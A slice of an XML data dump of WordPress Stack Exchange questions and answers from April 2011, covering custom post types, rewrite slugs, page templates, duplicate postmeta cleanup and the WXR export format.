  <row Id="15794" PostTypeId="2" ParentId="15791" CreationDate="2011-04-27T23:58:42.570" Score="1" ViewCount="" Body="&lt;p&gt;The comment box will probably dissapear if you disable comments from the page editing screen (there's a checkbox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, no, there aren't any simple rules, but here's a rough outline:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which posts are to be displayed is determined by the WP_Query class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way these posts are displayed, along with other elements is determined by the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins can modify anything.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-27T23:58:42.570" />
  <row Id="15796" PostTypeId="2" ParentId="15788" CreationDate="2011-04-28T02:26:53.100" Score="1" ViewCount="" Body="&lt;p&gt;Change this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'nos-soins-et-services');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'nos-soins-et-services', 'with_front' =&amp;gt; true);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-28T02:26:53.100" CommentCount="2" />
  <row Id="15797" PostTypeId="2" ParentId="15758" CreationDate="2011-04-28T02:47:41.280" Score="0" ViewCount="" Body="&lt;p&gt;Not directly, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, however, write a custom javascript which applies the appropriate classes to the entry field for the custom taxonomy description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you really want to do, however, is create a &quot;many-to-many&quot; relationship between posts (e.g. a post type of &quot;Tires&quot; and a post type of &quot;Cars&quot;), then WordPress doesn't (currently) have a facility for this. However, the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin &lt;em&gt;does&lt;/em&gt; provide this functionality (and gives you a lot more flexibility to create complex relationships).&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2011-04-28T02:47:41.280" CommentCount="1" />
  <row Id="15798" PostTypeId="2" ParentId="15713" CreationDate="2011-04-28T02:55:03.953" Score="1" ViewCount="" Body="&lt;p&gt;It sounds like you need to have a relationship between two different post types. In that case something like &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; will be required to &quot;link up&quot; the different post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the ability to perform these links, simply create custom entry boxes for your &lt;code&gt;Product&lt;/code&gt; and &lt;code&gt;ProductType&lt;/code&gt; post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Milo mentioned above, you can remove &lt;code&gt;'editor'&lt;/code&gt; from the custom post types.&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2011-04-28T02:55:03.953" CommentCount="1" />
  <row Id="15799" PostTypeId="1" CreationDate="2011-04-28T02:57:51.143" Score="1" ViewCount="27" Body="&lt;p&gt;I found a recent report putting WordPress at 10-15% of the Alexa Top 1 Million Sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hackertarget.com/2011/03/web-tech-2011-report/&quot; rel=&quot;nofollow&quot;&gt;http://hackertarget.com/2011/03/web-tech-2011-report/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any references to other similar data or reports (not only Top 1M)?&lt;/p&gt;&#xA;" OwnerUserId="4948" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T04:58:22.133" LastActivityDate="2011-04-28T04:58:22.133" Title="Looking for references to WordPress Popularity Statistics" Tags="&lt;plugin-stats&gt;&lt;survey&gt;" AnswerCount="1" />
  <row Id="15800" PostTypeId="1" CreationDate="2011-04-28T03:26:45.397" Score="2" ViewCount="195" Body="&lt;p&gt;I have a custom post type, called 'status' and I have disabled 'title' in the post type. Right now it's setting all posts to have the title &quot;Auto Draft&quot;. I want to set up a way to set the title to be the post's date. I think I should be using 'wp_insert_post_data&quot;. Right now I am using the following code but it is not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function status_title_filter( $data , $postarr )&#xA;{&#xA;&#xA;if ($postarr['post_type'] == 'status'){&#xA;    $date = $data['post_date'];&#xA;    $data['post_title'] = $date;&#xA;}&#xA;return $data;&#xA;}&#xA;&#xA;add_filter( 'wp_insert_post_data' , 'status_title_filter' , '99' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for solving my simple problem. I'm a sort of novice when it comes to this kind of things.&lt;/p&gt;&#xA;" OwnerUserId="4949" LastActivityDate="2011-07-29T22:26:07.753" Title="Set Custom Post Type title to the Post's Date" Tags="&lt;custom-post-types&gt;&lt;date-time&gt;&lt;title&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="15801" PostTypeId="1" AcceptedAnswerId="17430" CreationDate="2011-04-28T03:29:55.690" Score="1" ViewCount="155" Body="&lt;p&gt;When the_content print attachment images (attachment template) it automatocally displays the picture. Is there a hook to specify the width and height of the image displayed?&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T04:24:34.900" LastActivityDate="2011-05-16T21:30:55.807" Title="How to specify width and height in the_content for image attachments" Tags="&lt;attachments&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="15802" PostTypeId="2" ParentId="15799" CreationDate="2011-04-28T04:57:47.167" Score="1" ViewCount="" Body="&lt;h2&gt;Most of the CMS usage stats originate from &lt;a href=&quot;http://trends.builtwith.com/&quot; rel=&quot;nofollow&quot;&gt;Built With&lt;/a&gt;.&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BuiltWith Internet Technology Usage&#xA;  Statistics provides free information&#xA;  updated weekly regarding the most&#xA;  popular technology used on the web&#xA;  across all technology areas including&#xA;  analytics, advertising, frameworks and&#xA;  website widgets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;I've put together a collection of various reports around the web.&lt;/h3&gt;&#xA;&#xA;&lt;h2&gt;Google Trends&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Vx2xs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;WordPress.com (Does not include self hosted)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1ytWn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;BuiltWith WordPress Usage Trends&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/C1bVh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CMS Distribution Stats&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/L7yTK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;CMS Distribution Comparison&lt;img src=&quot;http://i.stack.imgur.com/MPPs8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-28T04:57:47.167" />
  <row Id="15804" PostTypeId="2" ParentId="15800" CreationDate="2011-04-28T06:05:18.643" Score="0" ViewCount="" Body="&lt;p&gt;There's a plugin that does that - &lt;a href=&quot;http://www.sanisoft.com/blog/2009/06/30/datetitle-a-wordpress-plugin-for-automatic-post-titles/&quot; rel=&quot;nofollow&quot;&gt;datetitle&lt;/a&gt;. Maybe you could look at the code there and get an idea how to do it.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-04-28T06:05:18.643" />
  <row Id="15805" PostTypeId="2" ParentId="15790" CreationDate="2011-04-28T06:05:42.473" Score="0" ViewCount="" Body="&lt;p&gt;Does your form have an input with the name &quot;name&quot;? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, that will cause trouble. Change the name value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;http://wordpress.org/support/topic/form-name-breaks-and-goes-to-404-page&quot; rel=&quot;nofollow&quot;&gt;Form 'name' breaks and goes to 404 page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-04-28T06:05:42.473" CommentCount="1" />
  <row Id="15806" PostTypeId="1" AcceptedAnswerId="15812" CreationDate="2011-04-28T06:31:42.970" Score="1" ViewCount="96" Body="&lt;p&gt;All of my posts in one category (i.e. Location) have two custom fields: latitude and longitude. I would like to return an XML or JSON of all those posts (title, latitude, longitude) for use as Google Maps markers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't simply call out to a stand-alone php file to return my data as I would like to access my data through $wpdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best solution?&lt;/p&gt;&#xA;" OwnerUserId="3525" LastActivityDate="2011-04-28T08:26:36.940" Title="Return XML of Post Metadata" Tags="&lt;wpdb&gt;&lt;map&gt;" AnswerCount="1" />
  <row Id="15809" PostTypeId="2" ParentId="15209" CreationDate="2011-04-28T07:20:13.987" Score="0" ViewCount="" Body="&lt;p&gt;You can delete directly from the database, using an SQL statement like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete from wp_postmeta&#xA;where meta_id in (&#xA;       select *&#xA;       from (&#xA;               select meta_id&#xA;               from wp_postmeta a&#xA;               where a.meta_key = 'blogger_blog'&#xA;               and meta_id not in (&#xA;                       select min(meta_id)&#xA;                       from wp_postmeta b&#xA;                       where b.post_id = a.post_id&#xA;                       and b.meta_key = 'blogger_blog'&#xA;               )&#xA;       ) as x&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to change name of the meta_key on both places if you want to delete duplicates for another custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use a php script for this. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;define('WP_USE_THEMES', false);&#xA;require('wp-blog-header.php');&#xA;&#xA;    define( 'WP_DEBUG_DISPLAY', true ); &#xA;    ini_set( 'display_errors', true );&#xA;    $allposts = get_posts('numberposts=-1&amp;amp;post_type=post&amp;amp;post_status=any');&#xA;    $keys = array('blogger_blog', 'blogger_author', 'blogger_permalink');&#xA;    foreach ( $keys as $key ) {&#xA;        foreach( $allposts as $postinfo) {&#xA;            // Fetch array of custom field values&#xA;            $postmeta = get_post_meta($postinfo-&amp;gt;ID, $key);&#xA;&#xA;            if (!empty($postmeta) ) {&#xA;                // Delete the custom field for this post (all occurrences)&#xA;                delete_post_meta($postinfo-&amp;gt;ID, $key);&#xA;&#xA;                // Insert one and only one custom field&#xA;                update_post_meta($postinfo-&amp;gt;ID, $key, $postmeta[0]);&#xA;            }&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="221" LastActivityDate="2011-04-28T07:20:13.987" />
  <row Id="15810" PostTypeId="2" ParentId="9838" CreationDate="2011-04-28T07:31:30.137" Score="0" ViewCount="" Body="&lt;p&gt;Answer to my question-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($uploadType == 'video') {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (get_post_mime_type( $id ) == &quot;application/pdf&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T09:29:47.540" LastActivityDate="2011-04-28T09:29:47.540" />
  <row Id="15811" PostTypeId="2" ParentId="14893" CreationDate="2011-04-28T07:40:10.910" Score="2" ViewCount="" Body="&lt;p&gt;In Settings -&gt; Reading if your Front Page is not set to show &quot;Latest Posts&quot; whatever is selected as posts page will use the index.php template.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I do use a static page, but I think it&#xA;  still uses index.php to populate items&#xA;  on this static page? I checked by&#xA;  fiddling some free text in index.php&#xA;  and it was reflected in the blog posts&#xA;  on the static page. – Simon 4 hours&#xA;  ago&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your comment is correct your &quot;static page&quot; is using index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use a static page with a custom template for your blog post change your reading settings as follows:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Change This:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/SQ4rV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;To This:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VvDFy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your custom template &lt;del&gt;just copy and paste index.php to&lt;/del&gt; create a new file and name it custom-page-blog.php and add this to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Blog&#xA;*/&#xA;    get_header();&#xA;&#xA;            $args=array(&#xA;                'category__not_in' =&amp;gt; 98&#xA;                );&#xA;                $blog_query = new WP_Query( $args );&#xA;&#xA;             while ($blog_query-&amp;gt;have_posts()) : $blog_query-&amp;gt;the_post(); ?&amp;gt;        &#xA;&#xA;            &amp;lt;!-- Begin .postBox --&amp;gt;&#xA;            &amp;lt;div class=&quot;postItem&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt; &#xA;                    &amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;                                &amp;lt;?php the_time('M j, Y') ?&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;//&amp;amp;nbsp;&amp;amp;nbsp; by &amp;lt;span class=&quot;author&quot;&amp;gt;&amp;lt;?php the_author_link(); ?&amp;gt;&amp;lt;/span&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;//&amp;amp;nbsp;&amp;amp;nbsp;  &amp;lt;?php the_category(', ') ?&amp;gt;  &amp;amp;nbsp;//&amp;amp;nbsp;  &amp;lt;?php comments_popup_link('No Comments', '1 Comment ', '% Comments'); ?&amp;gt; &#xA;                            &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php the_content(__('Read more &amp;gt;&amp;gt;')); ?&amp;gt;   &#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- End .postBox --&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;                &amp;lt;!--&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link() ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link() ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;--&amp;gt;&#xA;                &amp;lt;?php if (function_exists(&quot;emm_paginate&quot;)) {&#xA;                    emm_paginate();&#xA;                } ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- End #colLeft --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt; &#xA;    &amp;lt;?php }?&amp;gt;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go to your static &quot;Blog&quot; Page and select the new template in page atributes.&lt;img src=&quot;http://i.stack.imgur.com/tuqrx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T09:24:49.620" LastActivityDate="2011-04-28T09:24:49.620" CommentCount="4" />
  <row Id="15812" PostTypeId="2" ParentId="15806" CreationDate="2011-04-28T08:26:36.940" Score="1" ViewCount="" Body="&lt;p&gt;The best solution is to create a custom XML page template in the exact format you need.  If you look at the code below taken from the WordPress XML exporter you can see that the data it returns contains the normal stuff we see in a typical WordPress loop.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;' . get_bloginfo('charset') . '&quot;?' . &quot;&amp;gt;\n&quot;;&#xA;?&amp;gt;&#xA;&amp;lt;!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. --&amp;gt;&#xA;&amp;lt;!-- It contains information about your blog's posts, comments, and categories. --&amp;gt;&#xA;&amp;lt;!-- You may use this file to transfer that content from one site to another. --&amp;gt;&#xA;&amp;lt;!-- This file is not intended to serve as a complete backup of your blog. --&amp;gt;&#xA;&#xA;&amp;lt;!-- To import this information into a WordPress blog follow these steps. --&amp;gt;&#xA;&amp;lt;!-- 1. Log into that blog as an administrator. --&amp;gt;&#xA;&amp;lt;!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). --&amp;gt;&#xA;&amp;lt;!-- 3. Choose &quot;WordPress&quot; from the list. --&amp;gt;&#xA;&amp;lt;!-- 4. Upload this file using the form provided on that page. --&amp;gt;&#xA;&amp;lt;!-- 5. You will first be asked to map the authors in this export file to users --&amp;gt;&#xA;&amp;lt;!--    on the blog.  For each author, you may choose to map to an --&amp;gt;&#xA;&amp;lt;!--    existing user on the blog or to create a new user --&amp;gt;&#xA;&amp;lt;!-- 6. WordPress will then import each of the posts, comments, and categories --&amp;gt;&#xA;&amp;lt;!--    contained in this file into your blog --&amp;gt;&#xA;&#xA;&amp;lt;?php the_generator('export');?&amp;gt;&#xA;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/&amp;lt;?php echo WXR_VERSION; ?&amp;gt;/excerpt/&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/&amp;lt;?php echo WXR_VERSION; ?&amp;gt;/&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;&amp;lt;?php bloginfo_rss('name'); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;&amp;lt;?php bloginfo_rss('url') ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;    &amp;lt;description&amp;gt;&amp;lt;?php bloginfo_rss(&quot;description&quot;) ?&amp;gt;&amp;lt;/description&amp;gt;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_lastpostmodified('GMT'), false); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=&amp;lt;?php bloginfo_rss('version'); ?&amp;gt;&amp;lt;/generator&amp;gt;&#xA;    &amp;lt;language&amp;gt;&amp;lt;?php echo get_option('rss_language'); ?&amp;gt;&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;&amp;lt;?php echo WXR_VERSION; ?&amp;gt;&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;&amp;lt;?php echo wxr_site_url(); ?&amp;gt;&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;&amp;lt;?php bloginfo_rss('url'); ?&amp;gt;&amp;lt;/wp:base_blog_url&amp;gt;&#xA;&amp;lt;?php if ( $cats &amp;amp;&amp;amp; ($terms == 'all' || $terms == 'cats')) : foreach ( $cats as $c ) : ?&amp;gt;&#xA;    &amp;lt;wp:category&amp;gt;&amp;lt;wp:category_nicename&amp;gt;&amp;lt;?php echo $c-&amp;gt;slug; ?&amp;gt;&amp;lt;/wp:category_nicename&amp;gt;&amp;lt;wp:category_parent&amp;gt;&amp;lt;?php echo $c-&amp;gt;parent ? $cats[$c-&amp;gt;parent]-&amp;gt;name : ''; ?&amp;gt;&amp;lt;/wp:category_parent&amp;gt;&amp;lt;?php wxr_cat_name($c); ?&amp;gt;&amp;lt;?php wxr_category_description($c); ?&amp;gt;&amp;lt;/wp:category&amp;gt;&#xA;&amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&amp;lt;?php if ( $tags &amp;amp;&amp;amp; ($terms == 'all' || $terms == 'tags')) : foreach ( $tags as $t ) : ?&amp;gt;&#xA;    &amp;lt;wp:tag&amp;gt;&amp;lt;wp:tag_slug&amp;gt;&amp;lt;?php echo $t-&amp;gt;slug; ?&amp;gt;&amp;lt;/wp:tag_slug&amp;gt;&amp;lt;?php wxr_tag_name($t); ?&amp;gt;&amp;lt;?php wxr_tag_description($t); ?&amp;gt;&amp;lt;/wp:tag&amp;gt;&#xA;&amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;    &amp;lt;?php do_action('rss2_head'); ?&amp;gt;&#xA;    &amp;lt;?php if ($post_ids) {&#xA;        global $wp_query;&#xA;        $wp_query-&amp;gt;in_the_loop = true;  // Fake being in the loop.&#xA;        // fetch 20 posts at a time rather than loading the entire table into memory&#xA;        while ( $next_posts = array_splice($post_ids, 0, 20) ) {&#xA;            $where = &quot;WHERE ID IN (&quot;.join(',', $next_posts).&quot;)&quot;;&#xA;            $posts = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts $where ORDER BY post_date_gmt ASC&quot;);&#xA;                foreach ($posts as $post) {&#xA;                    setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;item&amp;gt;&#xA;&amp;lt;title&amp;gt;&amp;lt;?php echo apply_filters('the_title_rss', $post-&amp;gt;post_title); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&amp;lt;link&amp;gt;&amp;lt;?php the_permalink_rss() ?&amp;gt;&amp;lt;/link&amp;gt;&#xA;&amp;lt;pubDate&amp;gt;&amp;lt;?php echo mysql2date('D, d M Y H:i:s +0000', get_post_time('Y-m-d H:i:s', true), false); ?&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;&amp;lt;dc:creator&amp;gt;&amp;lt;?php echo wxr_cdata(get_the_author()); ?&amp;gt;&amp;lt;/dc:creator&amp;gt;&#xA;&amp;lt;?php wxr_post_taxonomy() ?&amp;gt;&#xA;&#xA;&amp;lt;guid isPermaLink=&quot;false&quot;&amp;gt;&amp;lt;?php the_guid(); ?&amp;gt;&amp;lt;/guid&amp;gt;&#xA;&amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;&#xA;&amp;lt;content:encoded&amp;gt;&amp;lt;?php echo wxr_cdata( apply_filters('the_content_export', $post-&amp;gt;post_content) ); ?&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;&amp;lt;wp:post_date&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_date; ?&amp;gt;&amp;lt;/wp:post_date&amp;gt;&#xA;&amp;lt;wp:post_date_gmt&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_date_gmt; ?&amp;gt;&amp;lt;/wp:post_date_gmt&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;&amp;lt;?php } } } ?&amp;gt;&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-28T08:26:36.940" CommentCount="1" />
  <row Id="15813" PostTypeId="2" ParentId="14893" CreationDate="2011-04-28T08:29:03.083" Score="3" ViewCount="" Body="&lt;p&gt;You want the category 98 to be excluded only on the blog page, right? They should be accessible on the category page directly (your downloads page), correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you try this? Let me know if its not what you want, we can modify it to suit your needs. Right not it only excludes the category on where you show your blog posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'block_cat_query' );&#xA;&#xA;function block_cat_query() {&#xA;    global $wp_query;   &#xA;    if( is_home() ) {&#xA;        $wp_query-&amp;gt;query_vars['cat'] = '-98';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-04-28T08:29:03.083" CommentCount="8" />
  <row Id="15814" PostTypeId="2" ParentId="15112" CreationDate="2011-04-28T09:35:04.617" Score="1" ViewCount="" Body="&lt;p&gt;Things may be slightly different depending on whether you are using the most recent version of wp e-commerce (I think its 3.8 something) - but it's similar in 3.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the shipping settings you can choose Flat Rate and then hit edit and set the shipping rates for continental US as well as other continents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Table rate refers to specific shipping rates related to a certain product, rather than its destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a new(ish) plug in for setting other various fixed rates of shipping that you can find -&gt;&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-e-commerce-fixed-rate-shipping/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-e-commerce-fixed-rate-shipping/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you some&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-28T09:35:04.617" CommentCount="1" />
  <row Id="15815" PostTypeId="1" AcceptedAnswerId="15838" CreationDate="2011-04-28T10:32:29.927" Score="0" ViewCount="72" Body="&lt;p&gt;With the help of the internet and you lot, I have been stumbling about to create a worpress site &lt;a href=&quot;http://www.dekho.com.au&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at this stage, its not exactly a default install.&#xA;- Im running the boldy theme from Site5.&#xA;- Have made some tweaks to the underlying PHP, but nothing that I can think that would cause this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue&lt;/strong&gt;:&lt;br&gt;&#xA;Slugs setup normally for categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jN7CL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the URL it takes me too is a 404.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.dekho.com.au/category/screencasts/&quot; rel=&quot;nofollow&quot;&gt;http://www.dekho.com.au/category/screencasts/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All my categories are broken, except my &lt;a href=&quot;http://www.dekho.com.au/category/case-studies/&quot; rel=&quot;nofollow&quot;&gt;case studies category&lt;/a&gt;.&lt;br&gt;&#xA;- This uses a Portfolio template to display posts in that category (part of Boldy theme)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im sure I had both the 'portfolio' and the other category links working at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What have I missed?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-04-28T13:24:16.887" Title="Category Slugs = 404s?" Tags="&lt;slug&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="15816" PostTypeId="1" AcceptedAnswerId="15883" CreationDate="2011-04-28T10:43:40.613" Score="0" ViewCount="77" Body="&lt;p&gt;I normally work ahead of schedule and sometimes need to contact people when a certain post reaches publication. Is there any plugin that will do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would need to be customisable for each post as most posts I don't need this reminder, and for the ones where I do need it I would need to write something different each time.&lt;/p&gt;&#xA;" OwnerUserId="4360" LastActivityDate="2011-04-28T21:52:16.980" Title="Notification when certain posts are published" Tags="&lt;notifications&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
